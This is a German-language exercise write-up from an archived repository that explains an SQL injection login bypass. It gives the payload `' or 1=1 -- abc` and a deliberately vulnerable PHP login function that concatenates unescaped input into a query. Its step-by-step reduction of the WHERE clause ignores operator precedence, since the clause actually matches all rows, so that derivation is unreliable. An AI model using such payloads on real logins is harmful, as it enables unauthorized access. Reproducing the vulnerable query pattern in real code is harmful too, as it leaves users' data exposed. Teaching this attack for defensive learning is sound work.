This repository has been archived on 2025-01-16. You can view files and clone it, but cannot push or open issues or pull requests.

45 lines
1.0 KiB
Markdown
Raw Permalink Normal View History

2022-01-30 19:43:58 +01:00
# SQL Injection
Gegeben ist eine Login-Form.
Ziel ist es, sich als Nutzer `max` anzumelden.
Sein Passwort kennen wir nicht.
![](sql-injection.png)
## Lösung
Wir geben folgenden Daten ein:
- **Benuzername**: `max`
- **Passwort**: `' or 1=1 -- abc`
Auf dem Server wird das dann etwa so ausgeführt:
```php
<?php
function checkLogin() {
$user = $_POST['user']; // ESCAPE FEHLT!!!!
$password = $_POST['password']; // ESCAPE FEHLT!!!!
$query = "SELECT * FROM users"
. " WHERE user = '$user'"
. " AND password='$password'"; // Siehe Hint
return doesQueryReturnAnyRow($query);
}
if (checkLogin()) {
echo "Information: Task solved!";
}
```
Mit unsere Eingabe kann man sich die Evaluierung
des `WHERE`-Teils der Anfrage in der Datenbank
in etwa so Vorstellen:
```sql
WHERE user = '$user' AND password='$password'
<=> WHERE user = 'max' AND password='' or 1=1 -- abc'
<=> WHERE user = 'max' AND 1=1 -- abc'
<=> WHERE user = 'max' -- abc'
<=> WHERE user = 'max'
```
Also Login wir mit `max` ein,
ohne sein Passwort zu kennen.